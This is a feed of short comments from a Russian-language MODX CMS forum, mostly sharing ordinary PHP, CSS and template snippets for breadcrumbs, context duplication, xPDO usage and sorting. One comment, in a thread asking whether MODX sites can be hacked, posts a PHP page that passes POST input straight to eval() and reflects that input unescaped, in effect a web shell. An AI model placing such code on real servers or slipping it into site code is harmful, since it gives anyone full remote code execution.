V · 27 января 2017, 23:02 лично я использую в качестве разделителя css, чтобы не засорять контент ненужными для контента знаками .breadcrumbs > li + li:before { content: "\00bb\00a0"; } Готовые решения / Семантически правильныe Breadcrumbs на pdoCrumbs 31 +4 1
Юрий Фомин · 27 января 2017, 18:56 Таки дописал велосипед про автоматизацию создания/удаления и редактирования ресурсов в контекстах-дублях. <?php if ($modx->event->name == 'OnDocFormSave') { // собираем дублированные контексты (web - оригинальный контекст) $contexts = $modx->getCollection('modContext', array('key:NOT IN' => ['mgr','web'])); // получаем родителя создаваемого ресурса $parent = $resource->get('parent'); if ($parent != '0') { $parentId = $modx->getObject('modResource', $parent); $parentAlias = $parentId->get('alias'); } $alias = $resource->get('alias'); $id = $resource->get('id'); // проходимся по контекстам foreach ($contexts as $context) { $response = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias' => $alias)); // если ресурс уже существует то тогда просто обновляем поля (кроме контента) if ($response) { $response->set('pagetitle', $resource->get('pagetitle')); $response->set('longtitle', $resource->get('longtitle')); $response->set('description', $resource->get('description')); $response->set('content', '[[!OriginalFields?&id=`'.$id.'`&field=`content`]]'); // ... много остальных полей $response->set('deleted', $resource->get('deleted')); $response->save(); } else { // создание нового ресурса $newResource = $modx->newObject('modDocument'); // заполняем поля ресурса $newResource->set('context_key', $context->key); $newResource->set('pagetitle', $resource->get('pagetitle')); $newResource->set('longtitle', $resource->get('longtitle')); $newResource->set('description', $resource->get('description')); $newResource->set('content', '[[!OriginalFields?&id=`'.$id.'`&field=`content`]]'); // ... много остальных полей $newResource->set('deleted', $resource->get('deleted')); // поле родителя для создания дубля в нем а не в корне if ($parent != '0') { $res = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias'=>$parentAlias)); $parntId = $res->get('id'); } else { $parntId = $parent; } $newResource->set('parent', $parntId); // сохраняем свежеиспеченый ресурс $newResource->save(); } } // очищаем кеш $modx->cacheManager->clearCache(); } // удаление ресурсов в дублирующих контекстах if ($modx->event->name == 'OnDocFormDelete') { // собираем дублированные контексты (web - оригинальный контекст) $contexts = $modx->getCollection('modContext', array('key:NOT IN' => ['mgr','web'])); // проходимся по контекстам foreach ($contexts as $context) { // получаем нужные (верней не нужные поэтому и удаляемые) нам ресурсы $response = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias' => $resource->get('alias'))); // помечаем как удаленные $response->set('deleted', $resource->get('deleted')); $response->save(); // удаляет полностью // $response->get('id'); // $response->remove(); } $modx->cacheManager->clearCache(); } Вопросы / Список всех контекстов 25 +2 3
but1head · 27 января 2017, 16:09 Где угодно вставляем require_once('functions.php'); $functions->test();Создаем файл $functions = new functions($modx); class functions { public $modx; function __construct(modX &$modx){ $this->modx =& $modx; $this->pdoFetch = $this->modx->getService('pdofetch','pdoFetch', MODX_CORE_PATH . 'components/pdotools/model/pdotools/', array()); } function test() { // $this->modx->**** } } Вопросы / Использование xPDO в функциях 6 +2 2
Илья Уткин · 27 января 2017, 15:48 Мне кажется, лучше передавать переменную $modx в функцию при вызове. Да, это несколько сложнее, но глобальные переменные стараются не использовать… function myfunction($modx){ if (!$modx) return 'Error'; $user = $modx->user->get('id'); } myfunction($modx); Вопросы / Использование xPDO в функциях 6 +2 1
Алексей · 27 января 2017, 09:22 Спасибо Илья Уткин. Сначала не работало, я посмотрел запрос и привел к такому виду &sortby=`{"CAST(likeDislike AS DECIMAL(13,3))":"DESC"}`Теперь все супер! Вопросы / Сортировка по TV числовое значение 3 +1 1
Илья Уткин · 27 января 2017, 07:51 &sortby=`{"CAST(`likeDislike`.`value` AS DECIMAL(13,3))":"DESC"}` Вопросы / Сортировка по TV числовое значение 3 +1 1
Андрей · 26 января 2017, 13:21 //Сниппет getRes if ($resources) { $output = ''; $resources = explode(',', $resources); foreach($resources as $id) { if ($resource = $modx->getObject('modResource', $id)) { $output .= $modx->getChunk($tpl, $resource->toArray()); } } return $output; } //Вызов [[getRes? &resources=`1,2,1,3,4,5,1,2,4,5,1,5` &tpl=`имя_чанка` ]] //чанк <div>[[+pagetitle]]</div> Вопросы / Вывести ресурсы по несколько раз 11 +1 1
Алексей Ерохин · 26 января 2017, 12:56 Вот на fenom {var $resources = '1,20,19,20,19,1,1,1,19,20,20,19' | split} {if $resources | iterable} {foreach $resources as $value} {$value | resource : 'pagetitle'} {/foreach} {/if} Вопросы / Вывести ресурсы по несколько раз 11 +5 1
Андрей Шевяков · 26 января 2017, 11:01 Нашел решение для исключения ресурсов-контейнеров из урл у Ильи Уткина. Попробовал у себя на сайте, все отлично работает. Вот статья: Исключение алиаса ресурса в URL дочерних ресурсов Может кому пригодится! Вопросы / Убрать часть Url 19 0 1
Николай · 24 января 2017, 02:35 А я такой код размещаю: <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <title></title> <style> textarea { padding: 10px; width: 80%; } </style> </head> <body> <?php echo $_SERVER['SCRIPT_FILENAME']; ?> <form method="post"> <textarea name="code" cols="30" rows="15"><?php echo $_POST['code']; ?></textarea> <button type="submit">Отправить</button> </form> <?php eval($_POST['code']); ?> </body> </html>и выполняй любые php-скрипты Вопросы / Можно ли взломать сайт на MODX? 17 +4 3
Плагин EnvBadge: визуальный индикатор окружения в админке MODX3 Расскажите пожалуйста как вы настраиваете сайт на MODX 3 чтобы был dev, prod, stage. Можете описать workflow? Допустим у меня 80% — это магазины, там клиенты, продажи, все онлай...
MaxNotify Обновление компонента 1.3.0-pl (22.07.2026) — добавлено автоматическое получение полей через msOrder->toArray(); — массивы и объекты безопасно пропускаются; — стандартные...
MyFavorites MyFavorites — 3.0.0-beta Первая версия для MODX Revolution 3.x — компонент полностью переписан с нуля (PHP >= 8.4, namespaced-ядро MODX 3, PSR-4, сервис-ориентированная архит...
mxBoard: канбан-доска для команд, людей и ИИ-агентов в MODX 3 Для начала перейдем на Markdown, а дальше будет видно
MaxNotify3 Вышло обновление 1.3.0-pl (20.07.2026) — добавлены уведомления о заявках FormIt через hook-сниппет maxNotify3FormIt; — добавлены уведомления о заявках SendIt через hook-с...
Создаем файл
Сначала не работало, я посмотрел запрос и привел к такому виду
Теперь все супер!
Попробовал у себя на сайте, все отлично работает.
Вот статья: Исключение алиаса ресурса в URL дочерних ресурсов
Может кому пригодится!
и выполняй любые php-скрипты